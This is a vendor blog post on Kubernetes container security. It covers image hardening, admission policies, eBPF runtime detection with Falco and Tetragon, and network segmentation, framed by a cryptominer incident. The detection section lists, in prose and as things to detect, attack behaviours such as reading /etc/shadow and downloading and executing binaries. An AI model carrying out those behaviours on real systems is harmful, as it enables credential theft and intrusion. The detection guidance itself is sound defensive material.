Container Security: Runtime Detection Beyond Image Scanning

Jul 29, 2025 Metasphere Engineering 8 min read

Your on-call engineer gets paged at 2 AM for CPU saturation across every node in the production Kubernetes cluster. The dashboard shows 80% CPU utilization, evenly distributed, with no corresponding increase in application traffic. Something is very wrong. A cryptominer has been deployed through a compromised CI pipeline. The container image passed Trivy scanning with zero high-severity findings. It passed Kyverno admission policies. It ran as a non-root user. It connected to a mining pool over port 443, indistinguishable from normal HTTPS traffic at the network layer. Every security control you built did its job, and the attack still got through.

The miner ran for six hours before the cost spike triggered investigation. The image scan was clean because the miner was downloaded at runtime via a curl command in the application’s startup script. Build-time scanning cannot detect runtime behavior. Full stop. It is like inspecting a shipping container at the factory and assuming nobody will put anything else inside during transit.

Most container security programs are heavily front-loaded at the build-time layer. Teams configure image scanning, celebrate the green build, and move on. That false confidence is the real vulnerability. What they lack is visibility into what containers actually do once they are running. And that is where real attacks happen.

Start With the Image

Hardening the container image is the right starting point. Just not the ending point. Think of it as locking the front door. Necessary, but insufficient if you never check whether someone climbed through a window.

Use minimal base images. Alpine-based images reduce package count from 400+ (Ubuntu) to under 50. Distroless images go further: no shell, no package manager, no debugging utilities. A distroless Python image means an attacker with code execution cannot apt-get install anything, cannot spawn a shell, and cannot use standard tooling to establish persistence. The trade-off is real. Debugging requires kubectl debug with an ephemeral container or external tooling rather than kubectl exec. That is a worthwhile trade for production workloads.

Run as a non-root user. Add USER 1001 to your Dockerfile. One line. It blocks an entire class of container escape scenarios. Pair this with readOnlyRootFilesystem: true in your Kubernetes pod security context. If the application needs to write temporary files, mount a specific writable emptyDir volume for that purpose only. Everything else stays immutable.

Drop Linux capabilities. All of them. Containers inherit a default set of capabilities that most applications never need. CAP_NET_RAW enables raw packet crafting for network sniffing. CAP_SYS_ADMIN is effectively root and enables mounting filesystems. Add drop: ["ALL"] to your container security context and add back only what your application actually requires. Most web applications need zero additional capabilities. Teams sometimes leave CAP_SYS_ADMIN enabled “because the container would not start without it” when the actual fix was changing a log directory permission. Always investigate before granting capabilities. The lazy workaround becomes the exploit path.

Admission Control Before Workloads Run

Image hardening is under your direct control. Third-party images, operator-deployed workloads, and developer mistakes are not. This is where admission control earns its keep. Kubernetes admission controllers enforce security policy before any workload reaches the cluster, regardless of how it was created.

OPA Gatekeeper and Kyverno both intercept resource creation and modification, evaluating requests against your policy library before allowing them. The policies worth enforcing across every namespace: require non-root execution, block hostPID and hostNetwork, require resource limits on all containers, and restrict allowed container registries to your internal registry and an explicit allowlist of approved public sources. No exceptions.

But here is what most teams get wrong. Building and maintaining these policy libraries without creating friction is a cloud-native security discipline. It matters more than the policy engine you choose. Policies that are easy to comply with get complied with. Policies that block legitimate work without a clear fix get disabled quietly by frustrated engineers. Every policy should include a remediation hint in its denial message explaining what to change. The teams that build a healthy relationship with DevSecOps shift-left practices treat admission control as a teaching tool, not just a gatekeeper.

Runtime Detection With eBPF

Admission controllers prevent policy-violating configurations from running. They cannot stop an attacker who exploits a vulnerability in an application that was running legitimately. And that is the scenario that causes real incidents. The attacker is not trying to deploy a misconfigured pod. They are exploiting a legitimate one.

This is where runtime detection earns its place. Falco, maintained by the CNCF, uses eBPF to instrument the Linux kernel and evaluate every system call against a rule set. Default rules catch common attack patterns: a container spawning a shell process, writing to /etc, reading /etc/shadow, making outbound connections to IP ranges not in your allow list, or downloading and executing binaries at runtime. When any of these patterns appear, Falco generates an alert within milliseconds of the event. At under 2% CPU overhead per node, the performance cost is negligible. The security value is enormous.

Tetragon, from Cilium, takes this further. It enforces policies directly in the kernel, blocking malicious actions rather than just alerting on them after the fact. For the highest-risk violations (shell spawning in production containers, writes to sensitive paths, execution of downloaded binaries), enforcement is the right choice. You want to stop the cryptominer from running, not get a notification that it started five minutes ago.

The prerequisite that teams skip at their peril: a behavioral baseline. Deploying runtime detection without understanding what “normal” looks like for your specific workloads produces alert fatigue. The security team tunes down sensitivity until the tool is effectively disabled, and you are back to no runtime visibility. The right approach is to start in audit mode, collect behavioral data for 2-4 weeks, use Falco’s profile generation to understand which syscalls your workloads actually use, then shift to enforce mode for the highest-risk rule classes first. Expand enforcement incrementally.

Network Policy as a Security Control

The default Kubernetes networking model is fully permissive. Every pod can reach every other pod across all namespaces. This makes development convenient and lateral movement trivial. It is the network equivalent of leaving every internal door unlocked.

Network policies enforced by CNI plugins like Cilium or Calico define explicit allow rules for pod-to-pod communication. Default-deny at the namespace level, with explicit allow rules for the specific traffic paths your services require. A payment processing service should not be reachable from your marketing analytics namespace. Period. Enforcing that boundary turns a compromised analytics service into a contained incident rather than a stepping stone to payment infrastructure.

For teams running serverless workloads alongside containerized services, the same network isolation principles apply across the compute boundary. Most teams operating cloud-native workloads already have the tooling available in their CNI plugin. The gap is almost always policy definition and enforcement discipline, not missing tooling. You have the tools. Use them.

The Visibility Gap

The most dangerous container security posture is the one that feels complete. Build-time controls are solid. Image scanning, signing, and admission control are in place. Everyone feels good about it. And that confidence is exactly the problem. You have checked IDs at the door but have no cameras inside the building.

Without runtime visibility from eBPF-based tools paired with a mature security operations practice, you have no way to know whether your running workloads are behaving as expected. You find out when something breaks badly enough to show up in application logs or infrastructure cost anomalies. That is too late. Container security is not a single control. It is a set of overlapping layers, each one catching what the previous layer misses. For the secrets that your containers consume at runtime, our guide to enterprise secrets management covers how to eliminate static credentials from your Kubernetes workloads entirely.

Layered controls, from image hardening through admission enforcement to runtime detection and network segmentation, create the defense-in-depth posture that catches what any single layer misses. The teams that treat container security as a single checkpoint at build time always discover the gap the same way: in an incident postmortem, staring at the realization that runtime behavior was never monitored at all.

Frequently Asked Questions

Why is image scanning alone insufficient for container security?

Image scanning detects known CVEs at build time. It cannot detect runtime attacks, privilege escalation through misconfigured capabilities, outbound connections to attacker infrastructure, or exploitation of CVEs published after your last build. A clean scan is a historical snapshot. In one incident, a cryptominer downloaded at runtime consumed 80% cluster CPU for 6 hours while the image scan remained clean.

What is eBPF and why is it the preferred mechanism for container runtime security?

eBPF runs programs safely in the Linux kernel without kernel modules. Falco and Tetragon use eBPF to observe every syscall, network connection, and file operation in real time with under 2% performance overhead and zero application changes. Because eBPF operates at the kernel level, it cannot be evaded by application-layer techniques like process name spoofing.

What is the difference between OPA Gatekeeper and Kyverno for Kubernetes admission control?

Both intercept resource creation before workloads reach the cluster. OPA Gatekeeper uses Rego, a purpose-built policy language that is highly expressive but has a steep learning curve. Kyverno uses YAML-based policies that are simpler to write and maintain. For teams without Rego expertise, Kyverno’s lower operational cost typically outweighs Gatekeeper’s expressiveness advantage. Most teams deploy 15-20 core policies in under a week with Kyverno.

Should containers ever run as root?

No. A process achieving container escape via kernel exploit inherits root on the host node if it ran as root in the container. Add USER 1001 to your Dockerfile, set runAsNonRoot: true in pod security contexts, and enforce via admission controller. This single control blocks an entire class of container escape scenarios and takes one line to implement.

What are seccomp profiles and how much security value do they add?

Seccomp restricts which of the 300+ Linux system calls a container can make. Most applications use fewer than 50. Enabling Kubernetes’ RuntimeDefault seccomp profile blocks kernel exploits that depend on uncommon syscalls. It takes one annotation, adds near-zero overhead, and is one of the highest-value security controls per unit of effort in any Kubernetes cluster.